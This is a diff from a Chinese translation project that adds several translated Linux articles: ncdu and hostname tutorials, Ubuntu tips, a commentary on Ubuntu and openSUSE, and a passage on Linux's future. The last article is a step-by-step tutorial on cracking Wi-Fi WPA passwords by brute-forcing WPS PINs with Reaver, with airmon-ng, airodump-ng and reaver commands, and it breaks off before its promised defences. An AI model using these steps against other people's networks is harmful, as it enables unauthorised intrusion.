讽刺的是即使“可塑性”真的是Linux的最大优势但过犹不及Linux作为这样的原材料将会付出成倍的代价。
Cloudera的工程部经理 Eric Sammer 并没有孤立地看待这个问题他认为Linux的用户群“与Firefox或Apache等产品的用户群并不一样”Linux“面向的并不是终端用户而是操作系统类工程师”因此它需要与“很多其他软件一同建立一个完整的系统 —— 其中大部分软件是捆绑发布的并对用户透明例如boot loader。”就如同Torvalds在Linux最初的内核发布日志中所亲自记录的,“只有内核,你什么也干不了。”
Cloudera的工程部经理 Eric Sammer 并没有孤立地看待这个问题他认为Linux的用户群“与Firefox或Apache等产品的用户群并不一样”Linux“面向的并不是终端用户而是操作系统类工程师”因此它需要与“很多其他软件一同建立一个完整的系统 —— 其中大部分软件是捆绑发布的并对用户透明例如boot loader。”就如同Torvalds在Linux最初的内核发布日志中亲自写道,“只有内核,你什么也干不了。”
Android验证了Gillen和Sammer以上两人的观点作为Linux最受欢迎的“衍生品”Android所有的附加值都来自于Google以及Google专门为其开发的App生态系统。因此说Linux的可塑性只是它成为真正产品的第一步正如下文中这些最成功的Linux拥护者 —— 企业,所熟悉的一样。
**企业的贡献:利还是弊?**
###企业的贡献:利还是弊?
Linux的另一个特点它是一个合作产物由众多贡献者共同努力缔造而成。那么这些贡献者从何而来
答案企业。企业是最主要的贡献者但是他们忠于利益支持Linux只是为了自身的未来发展。除去Red Hat包括Canonical它是最为人所熟知的Linux发行排名前几位的贡献者主要包括IntelIBM德州仪器甚至还有微软。
答案企业。企业是最主要的贡献者但是他们忠于利益支持Linux只是为了自身的未来发展。除去Red Hat同于CanonicalRedHat是最为人所熟知的Linux解决方案供应排名前几位的贡献者主要包括IntelIBM德州仪器甚至还有微软。
Linux的所谓“灵活性”即能够运行在多个平台或设备上的能力很大程度上来源于以上这些贡献者而他们的主要动力则来自于不断萌发的自身需要例如微软为Linux内核添加的代码大大改善了Linux在其产品Hyper-V下的运行状况。
@ -55,7 +55,7 @@ Mark CogginLinux红帽企业版的市场高级总监他坚信“最佳
还有一小部分观点认为企业发行版Linux其实是一种“被绑架的Linux”正如Gillen所提倡的 —— 这是一种让Linux“稍稍不那么贴合主流用户群需求”的方法。他确信对Linux的商业化支持与商业优化“对Linux的开发模式大有裨益而不是相反。”
**同样的对Zenmlin来说Linux开发“并不是一个零和游戏”**
###同样的对Zenmlin来说Linux开发“并不是一个零和游戏”
“如果移动领域的某位开发者改善了耗电量另一位在数据中心工作的开发者会因此而受益他可以使用前者的改进来确保自己的数据服务运行得更有效率”Zemlin说道“共享开发正是Linux如此强大的原因。”
@ -65,7 +65,7 @@ Mark CogginLinux红帽企业版的市场高级总监他坚信“最佳
GPL协议第三版 —— 从Linux发布协议的一个早期版本改进而来 —— 当初修改该协议的部分原因就是为了应对上述行为。尽管如此协议只能防止获取他人代码后作为Web服务重新开发。除此以外并没有什么固有的方法或法律手段能够禁止公司或个人在代码开发完成后封闭独占这些改进后的代码也许这就是Linux对全世界自由开放所不可避免的一部分社会成本吧。
**Linux面临的最大威胁**
###Linux面临的最大威胁
感谢开源机制Linux始终能够作为一个开源项目企业才无法像以前那么独断专行。那除了企业现在什么才是Linux所面临的最大威胁呢
@ -94,11 +94,11 @@ Linux所要面对的另外一个潜在威胁是公司兼并 —— 这并不会
简而言之目前Linux面临的最大威胁来自于它自身 —— 无意中衡量Linux产品的第一标准已经变成了如何让它看起来更吸引人。一直以来Linux所固有的灵活性和可塑性帮助它战胜自满和企业兼并克服重重困难但如今还能否一如既往情况并不明朗。
**路在何方?**
###路在何方?
毫无疑问无论从哪个层面来看Linux现在都正处在关键的岔路口它将去往何方又将付出怎样的代价都值得探讨。
Linux最明显的未来之路首先它不仅仅是一块基石或者说不仅仅是一种建立基础设施的途径,其次,它应当减少过多的产品形式。最后真正的革新不仅仅是拓展Linux本身还要拓展其作为发现问题解决问题的创新办法目前还很少有人如此对待Linux要想真正做到这一点除了呼吁更多的人改变对Linux的看法还必须打破技术壁垒将眼光放得更长远。
Linux最明显的未来之路首先它不仅仅是一块基石或者说不仅仅是一种建立基础设施的途径;其次,它应当减少过多的产品形式;最后真正的革新不仅仅是拓展Linux本身还要拓展其作为发现问题解决问题的创新办法目前还很少有人如此对待Linux要想真正做到这一点除了呼吁更多的人改变对Linux的看法还必须打破技术壁垒将眼光放得更长远。
对此Coggin说道“Linux正在逐渐成为一个更加成套或灵活的操作系统进而超越其作为一个基础设施平台的作用。我们看到开发者和架构师们正在使用Linux建立新一代解决方案创造出新一代的企业架构。”这些工作中的大部分已经开始付诸实施他说道包括“云计算、大数据、移动领域以及社交网络等多个方面”。
@ -106,11 +106,11 @@ Gillen也同意上述观点Linux“即将成为公共云基础设施中非常
Baker说道“Linux已经在运行着云业务这是毫无疑问的它需要巩固自己作为基础设施平台的位置 —— 这意味着它需要时刻保持最新的技术领先优势例如ARM服务芯片、超大规模集成电路、网络设计以及所有的软件设计数据中心。”上述这些工作应当可以作为开源系统硬件设计例如[开源计算机项目][3])的有效补充。
**Linux体系提交、审核、采纳**
###Linux体系提交、审核、采纳
伴随着正面需求不断增长Linux的开发进程也在不断加快。
Linux作为普遍存在的基础设施元素其中一个潜在的缺点就是它有可能成为商业化的制度产物正如曾经它所取代的闭源Unix们。但是Zemlin认为Linux极大的灵活性在这方面发挥了作用“十几年前如果你问到Linus Torvalds或其他社区成员Linux是否会比其他任何平台都要驱动更多的移动电话他们当然会说不会。所以我们要做的只是注视Linux的发展不要尝试去预测它因为所有的预测几乎都会是错误的。”
Linux作为普遍存在的基础设施元素其中一个潜在的缺点就是它有可能成为商业化的制度产物正如曾经它所取代的闭源Unix们。但是Zemlin认为Linux极大的灵活性在这方面发挥了作用“十几年前如果你问到Linus Torvalds或其他社区成员Linux是否会比其他任何平台都要更多的装到移动电话他们当然会说不会。所以我们要做的只是注视Linux的发展不要尝试去预测它因为所有的预测几乎都会是错误的。”
另一个重要的未来发展方向就像上面提到的“独立于Google之外在移动领域有更大的发展”Baker如此预测道。像Mozilla专门针对移动电话的Firefox操作系统项目就是这样一种典型的尝试尽管在Google的存在下以及Android如此巨大的市场份额面前其成功的几率并不明朗。
@ -124,7 +124,7 @@ Linux作为普遍存在的基础设施元素其中一个潜在的缺点就是
via: http://www.networkworld.com/news/2013/101513-the-future-of-linux-evolving-274829.html
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,31 @@
Ubuntu vs. openSUSE不同的公司控制风格的比较
====
*Ubuntu和OpenSUSE以不同的方式发展他们的Linux发行版。你觉得哪种好*
相当多的linux开发都接受来自那些有意改善Linux的公司的资助这早已不是秘密这里的Linux我指的是组成一个完整Linux系统的任何部分。但是许多公司进行资助的方式却有很大不同。
让我们看看两个很典型的例子Ubuntu和openSUSE。
这两者都是Linux发行版。两者都是一个规模庞大、长期持续且非常成功的项目并且它们都有一个包括志愿者和付费职员的大型社区。然而两者之间的不同还是相当明显而且非常重要。
对于Ubuntu它发展的主要方向是由Canonical的团队及其领袖Mark Shuttleworth决定的。当谈到Canonical真正“掌舵”Ubuntu时我们能很快就会想起两个例子例如UnityUbuntu自己的用户界面和MirUbuntu自己的显示服务。在许多事情上母公司都会在没有协商可以这么说的情况下设定目标、项目和优先级。例如Ubuntu的Unity用户界面对于Canonical公司广泛战略目标来说是必须的。一些社区成员喜欢它另一些则讨厌它。但是不管怎么说Unity都已经成为Ubuntu的默认用户界面了。
但是这是一件坏事吗?我不确信它到底是好还是坏。这只是这个项目如何与公司相处的问题。
于此形成对比的是openSUSE它也有一个公司掌控者好吧就是SUSE。关键的不同点是SUSE以“SUSE Linux企业版”的形式提供一个商业发行版。尽管openSUSE社区Linux发行版与SUSE Linux发行版商业发行版在技术上有许多重叠之处...然而专业的说,两者是不同的。
这意味着SUSE作为一个公司对待openSUSE时可以更多的采取放手不管的方式他们的兴趣就是寻找那些被改善的关键性技术例如Btrfs文件系统检测以及打包社区发行版中那些他们想包含在商业发行版中的软件包但是社区发行版与商业发行版分离的方式与Canonical采取方式相比给他们提供了更大的灵活性。在这方面和Canonical不同。
这种方法和红帽对待Fedora的方式非常相似已经成为了一个公司使用社区Linux发行版为基础销售企业级的Linux系统的一种成功之路。
不过,坦白的说两种模式我都看到了优点和缺点。在组织上以及管理上(公众部分)他们都面临着各自的难题。实际上,这两种方法与它们的不同点比起来,相同点更多一些。
我非常愿意听到你们对此的看法。你是更喜欢你的以社区为基础的Linux发行版有一个单一的领袖还是更喜欢你Linux发行版的大多数决定都是有社区驱动的呢公司是否应该强势控制Linux发行版还是应该大胆放手让社区来决定呢请在评论里留言让我们知道你的看法。
--------------------------------------------------------------------------------
via: http://www.networkworld.com/community/node/84250
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,115 @@
ncdu-基于Ncurses的磁盘实用工具
===
几天前,我们讨论了[gt5][1]一个具有图形前端的磁盘实用工具。接着上次继续介绍这个命令系列du替代命令我们今天要讨论的是一个基于ncurese的磁盘实用工具可以远程运行但没有图形环境。我们要介绍的这个命令行工具叫做**ncdu**。
###ncdu——基于Ncurses的du可选程序
这个命令行工具只是一个基于curses版本的标准du命令。它可帮助你在没有安装图形环境的情况下快速查看系统的磁盘使用统计。
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-main.png)
###检测环境
- 操作系统 Ubuntu 13.04
- Shell Bash 4.2.45
- 应用 ncdu 1.9
###简明教程
以下是一些ncdu命令的例子
**1. 默认输出**
执行以下**ncdu**命令,你会观察到,它会先扫描磁盘然后降序显示各个目录下的空间使用情况。
**> 扫描**
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-0.png)
**> 输出**
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-1.png)
你会看到在输出里显示了一个磁盘使用情况表。假如你要扫描整个文件系统,你可以在运行**ncdu**命令时加上**-x**选项。
**2. 按i可以得到选定目录的更多信息**
如你所见,第一项默认选中。想要知道选定项的更多信息,可以按**i**。
下面给出一个例子:
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-2.png)
如你所见,显示了目录,类型,大小,实际占用空间等。项返回,再按一次**i**。
**3. 在ncdu的界面中删除目录**
在ncdu的界面中删除目录只需要选中目录然后按**d**。
下面给出一个例子:
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-3.png)
如你所见ncdu请求用户确认。假如你选择yes,目录将会从系统中删除。
**4. 显示每一个目录的磁盘使用占总的磁盘空间的百分比**
按**g**显示每个目录大小占总的磁盘空间的百分比。
下面给出一个例子:
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-4.png)
如你所见,在输出结果的第二竖列显示了每个目录所占用的空间占总的磁盘空间的百分比。
**5. 获悉有关所有可使用快捷键的**
按****可获得相关快捷键、格式以及有关ncdu版本的信息。
下面给出一些例子:
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-1.png)
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-2.png)
![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-3.png)
想知道有关命令行选项以及其它信息,可前往[ncdu命令的Man页面][2]。
###下载/安装/配置
以下是一些有关ncdu命令的重要链接
- [主页][3]
- [下载链接][4]
当然你也可以通过命令方式下载安装比如apt-getyum等。另外Ubuntu用户可使用Ubuntu软件中心下载安装这个工具。
###优点
- 信息显示快速
- 系统资源消耗小
###缺点
- 在大多数Linux发行版中均没有预安装
- 有一定的学习曲线
###结论
假如你不满足于标准的du工具想去寻找一款快速的基于ncurses的类du工具那么你可以试试ncdu。它提供了许多自定义选项。你一定会喜欢它的。
**你使用过ncdu,gt5或者其他任何类du工具吗欢迎和我们分享你的使用经验。**
---
via: http://mylinuxbook.com/ncdu-ncurses-based-disk-usage-utility/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://mylinuxbook.com/gt5-a-graphical-alternative-to-du/
[2]:http://linux.die.net/man/1/ncdu
[3]:http://dev.yorhel.nl/ncdu
[4]:http://dev.yorhel.nl/ncdu

View File

@ -0,0 +1,50 @@
每日Ubuntu小技巧-使用Windows共享打印机进行打印
===
对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户这篇博文向你展示如何在Windows中共享一个打印机并允许Ubuntu使用它来打印。
几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机但为包括Ubuntu在内的Linux系统生产的并不多。所以假如你有一台支持Windows的打印机你可以在Windows机器上分享它然后让其它系统来使用它来打印。
在几年之前我遇到了这个问题那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。译注除非是特别冷门的打印机现在一般都可以在Linux进行打印操作了。在译者看来本文的理由不成立不过做法成立。
我在我的Windows机器上安装了打印机驱动然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好但是我的Ubuntu却无法使用它来打印因为打印机并不支持LAN接口。
所以我在Windows上共享该打印机然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景你可以按照下面的指导来操作。
首先登入Windows右击你要共享的打印机然后点击**Printer properties打印机属性**
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png)
接着,选择“**Sharing共享**”标签页,勾选‘**Share this printer共享这台打印机**’复选框来共享。记住共享打印机的名字,因为你要使用这个共享名来连接这台打印机。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png)
最后,以管理员权限运行命令行终端,运行以下命令以便于文件和打印机可以通过防火墙实现共享。
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
接着登入Ubuntu中选择顶部面板右边的**齿轮**,然后选择**系统设置...**
系统设置打开后,选择打印机,然后点击**添加**。当跳出来一个窗口让你选择设备时,选择‘**Windows Printer via SAMBA使用SAMBA的Windows打印机**’。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png)
键入Windows电脑的IP地址或者主机名后面接着键入共享的打印机名。你可能需要键入你的windows验证信息用户名和密码。点击浏览来验证你是否可以看到打印机当你完成这些后就可以点击下一步继续。
接着,选择打印机品牌和型号。假如你在列表中看不到特定的型号,选择一个最接近它的然后继续。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png)
以上这些都搞定了之后,你的打印机就已安装好,可以使用喽。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png)
好好享受吧!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,32 @@
每日Ubuntu小技巧让鼠标适合左利手用户
================================
电脑的鼠标被设计成使用食指(大拇指旁边的那个手指)完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时,多数情况下你会使用食指完成点击动作。
事实上,许多左利手用户(俗称左撇子)习惯把鼠标放到键盘的左边,然后用中指进行单击操作。但这并不是左利手用户使用鼠标最好的方法。
这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。
这个教程同样适用于右利手用户。如果鼠标为左利手用户设置,那么右利手用户可以使用这个教程将鼠标键切换回来。
好了,现在咱们开始吧,点击顶部右端面板中的齿轮按钮选择**System Settings系统设置**...
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed.png)
然后在系统设置选项中选择**Mouse & Touchpad (鼠标和触摸板)**,打开后选择‘**Right(右)**’选项,这样就可以改变鼠标的主键以适应左利手用户。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed-1.png)
改回左以适应右利手用户。改变将会在选择后立即生效。
就是这样了。现在左撇子用户可以将鼠标移到键盘左边,用左手的食指来正确地操作鼠标了。
使用愉快!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/
译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,36 @@
每日Ubuntu小技巧-使用OpenDNS来保护你的电脑
===
互联网是个大熔炉。无论是好人还是坏人,都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
就像人们所说的那样,互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入互联网真是一件好事情。
但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。
正因为此,推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
当寻找添加一个额外的安全层去保护你的机器时使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成尽力对其每一部分都进行相应保护是保证安全的最好方法。
首先你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。译注我们认为其实在Ubuntu上使用反病毒和反间谍软件并不太必要但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外使用国外的DNS可能会比较慢也许过一段时间国内也会出现类似的服务。
这是一个简明手册告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。
sudo gedit /etc/dhcp/dhclient.conf
最后,在打开的文件中添加下面一行,然后保存。
supersede domain-name-servers 208.67.222.222,208.67.220.220;
重启你的电脑,祝你玩的开心!
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/opendns-ubuntu.png)
好好享受吧!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,145 @@
如何在Linux中显示和设置主机名
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg)
随着连接到网络的计算机数量越来越多每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样计算机也有一个叫做hostname主机名的属性。
### 什么是hostname ###
从它的操作手册来看hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNSDomain Name System域名系统或者NISNetwork Information System网络信息系统
### 怎么显示hostname ###
hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。
$ hostname
ubuntu
上面的命令将会告诉你,计算机的名字是**ubuntu** 。
### 如何设置hostname ###
Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过如果你愿意的话你在之后设置也可以。
设置你的hostname你可以使用下面的命令
# hostname dev-machine
$ hostname
dev-machine
你**需要使用root权限**或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息那么你的hostname已经改变了。再一次使用hostname命令检查看看结果。
使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机,你的设定将会失效。 **为了永久改变** 你必须手动修改hostname配置文件。
**Debian / Ubuntu系的Linux**
你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件
下面是每一个文件的内容
**/etc/hostname**
# vi /etc/hostname
dev-machine
**/etc/hosts**
# vi /etc/hosts
127.0.0.1 localhost
127.0.0.1 dev-machine
你将会发现不用重启你的linux它就即刻生效。
**RedHat / CentOS系的Linux**
你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。
下面是每一个文件的内容
**/etc/hosts**
127.0.0.1 localhost.localdomain localhost dev-machine
::localhost 127.0.0.1
**/etc/sysconfig/network**
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=dev-machine
### 怎么显示DNS域名 ###
来自上面的hostname的定义hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。
$ dnsdomainname
bris.co.id
在本篇文章dnsdomainname命令的结果是 **bris.co.id**
如果你看见结果是 (**none**),那么你的机器**没有配置FQDNFully Qualified Domain Name 完全符合标准的域名)** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子
**/etc/hosts**
127.0.0.1 localhost.localdomain localhost dev-machine
::localhost 127.0.0.1
192.168.0.104 dev-machine.bris.co.id dev-machine
为了显示更多的细节,你可以使用参数**-v**
$ dnsdomainname -v
gethostname()=dev-machine.bris.co.id
Resolving dev-machine.bris.co.id
Result: h_name=dev-machine.bris.co.id
Result: h_aliases=dev-machine
Result: h_addr_list=192.168.0.104
### 如何显示hostname的更多细节信息###
Hostname命令可以使用多个参数和一些别名比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。
**显示IP地址**
$ hostname -i
192.168.0.104
**显示域名**
$ hostname -d
bris.co.id
**显示短主机名**
$ hostname -s
dev-machine
*这个命令将会产生与只输入hostname同样的结果*
**显示FQDN格式**
$ hostname -f
dev-machine.bris.co.id
**显示细节信息**
所有的参数包括上述信息,都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。
$ hostname -v -d
gethostname()=dev-machine.bris.co.id
Resolving dev-machine.bris.co.id
Result: h_name=dev-machine.bris.co.id
Result: h_aliases=dev-machine
Result: h_addr_list=192.168.0.104
bris.co.id
觉得熟悉吗?没错,运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/display-set-hostname-linux/
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,154 @@
如何使用Reaver破解Wi-Fi网络的WPA密码
================================================================================
![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg)
Wi-Fi网络能够让我们便利地访问因特网但同时我们又不希望隔壁抠门猥琐男总是蹭我们的网所以自然要给WiFi加个密码对吧于是好消息是也许你已经看过我的另一篇文章“[如何轻易破解WEP密码][1]”所以你使用了更稳固的WPA安全协议。
但坏消息是,现在有一款自由开源新工具——[Reaver][2]已经挖掘出了无线路由器的一个漏洞由此能够破解绝大多数路由器上的密码。今天我就来一步步介绍如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。
文章的第一部分是使用Reaver破解WPA的详细步骤读者可以看视频也可以跟着下面的文字一起做。然后我会解释Reaver的工作原理。最后介绍如何防范Reaver攻击。
[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3]
在正式开始之前,我还是要不厌其烦强调一下:知识就是力量,但是拥有力量不代表着可以为所欲为、触犯法律。同样,骑白马的不一定是王子,会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证,只适用于学习。你知道的越多,就能够越好的保护自己。
###准备工作###
首先无需成为一名网络专家学会使用复杂的命令行工具你只需要准备一张空白DVD、一台能连接WiFi的电脑并腾出几个小时时间这就是我们基本需要的东西。要安装Reaver可以有很多方法但是这里我们建议你按照下面的指南来做
![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg)
- [**The BackTrack 5 Live DVD**][4]。BackTrack是一款支持自启动的Linux发行版上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面传送门][5]下载Live DVD然后刻盘。这里你也可以下载镜像然后使用VMware安装如果你不知道VMware是啥那就还是刻盘吧。如图所示下载的时候下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统如果这里不确定是32还是64为了保险起见请选择32位下载类型选择ISO然后就可以点击下载了。
- **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡这一点对于大多数读者应该没什么问题。同时你的电脑需要有一个DVD光驱这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。
- **附近要有采用WPA加密的WiFi网络**。没WiFi网你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。
- **最后,你还需要一点点的耐心**。这是整个实验的最后一步使用Reaver破解WPA密码并不难它采用的是暴力破解因此你的电脑将会测试大量不同的密码组合来尝试破解路由器直到最终找到正确的密码。我测试的时候Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍一般这个时间在4到10个小时之间视具体情况而定。
###让我们开始吧###
此时你应该已经把BackTrack的DVD光盘刻录好了笔记本也应该已经准备就绪。
####第1步启动BackTrack####
要启动BackTrack只需将DVD放入光驱电脑从光盘启动。如果不知道如何使用live CD或DVD启动请自行Google。启动过程中BackTrack会让你选择启动模式选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。
最终BackTrack会来到一个命令行界面键入`startx`回车BackTrack就会进入它的图形界面。
####第2步安装Reaver####
文章更新Reaver在R3版中已经预装如果你安装的是BT5的R3版这一步骤可以忽略直接跳到第3步。
Reaver已经加入了BackTrack的最新版软件包只是还没有集成到live DVD里所以在本文最初撰写的时候你还需要手动安装Reaver。要安装Reaver首先设置电脑联网。
1.点击Applications > Internet > Wicd Network Manager
2.选择你的网络并点击Connect如果需要的话键入密码点击OK然后再次点击Connect。
连上网以后安装Reaver。点击菜单栏里的终端按钮或者依次点击 Applications > Accessories > Terminal。在终端界面键入以下命令
apt-get update
更新完成之后,键入:
apt-get install reaver
如果一切顺利Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网那么在继续下面的操作之前请先断开网络连接并假装不知道WiFi密码 =。= 接下来我们要准备破解它~
####第3步搜集设备信息准备破解####
在使用Reaver之前你需要获取你无线网卡的接口名称、路由的BSSIDBSSID是一个由字母和数字组成的序列用于作为路由器的唯一标识、以及确保你的无线网卡处于监控模式。具体参见以下步骤。
**找到无线网卡:**在终端里,键入:
iwconfig
回车。此时你应该看到无线设备的相关信息。一般,名字叫做`wlan0`,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。
![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg)
**将无线网卡设置为监控模式**:假设你的无线网卡接口名称为`wlan0`,执行下列命令,将无线网卡设置为监控模式:
airmon-ng start wlan0
这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做`mon0`。
![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg)
**找到你打算破解的路由器的BSSID**最后你需要获取路由器的唯一标识以便Reaver指向要破解的目标。执行以下命令
airodump-ng wlan0
(注意:如果`airodump-ng wlan0`命令执行失败,可以尝试对监控接口执行,例如`airodump-ng mon0`
此时,你将看到屏幕上列出周围一定范围内的无线网络,如下图所示:
![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg)
当看到你想要破解的网络时按下Ctrl+C停止列表刷新然后复制该网络的BSSID图中左侧字母、数字和分号组成的序列。从ENC这一列可以看出该网络是WPA或WPA2协议。如果为WEP协议可以参考我的[前一篇文章——WEP密码破解指南][7]
现在手里有了BSSID和监控接口的名称万事俱备只欠破解了。
####第4步使用Reaver破解无线网络的WPA密码####
在终端中执行下列命令用你实际获取到的BSSID替换命令中的 `bssid`
reaver -i moninterface -b bssid -vv
例如,如果你和我一样,监控接口都叫做 `mon0`并且你要破解的路由器BSSID是`8D:AE:9D:65:1F:B2`,那么命令应该是下面这个样子:
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
最后回车接下来就是喝喝茶、发发呆等待Reaver魔法的发生。Reaver将会通过暴力破解尝试一系列PIN码这将会持续一段时间在我的测试中Reaver花了2个半小时破解网络得出正确密码。正如前文中提到过的Reaver的文档号称这个时间一般在4到10个小时之间因此根据实际情况不同这个时间也会有所变化。当Reaver的破解完成时它看起来是下图中这个样子
![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg)
**一些要强调的事实**Reaver在我的测试中工作良好但是并非所有的路由器都能顺利破解后文会具体介绍。并且你要破解的路由器需要有一个相对较强的信号否则Reaver很难正常工作可能会出现其他一些意想不到的问题。整个过程中Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们只是保持电脑尽量靠近路由器Reaver最终会自行处理这些问题。
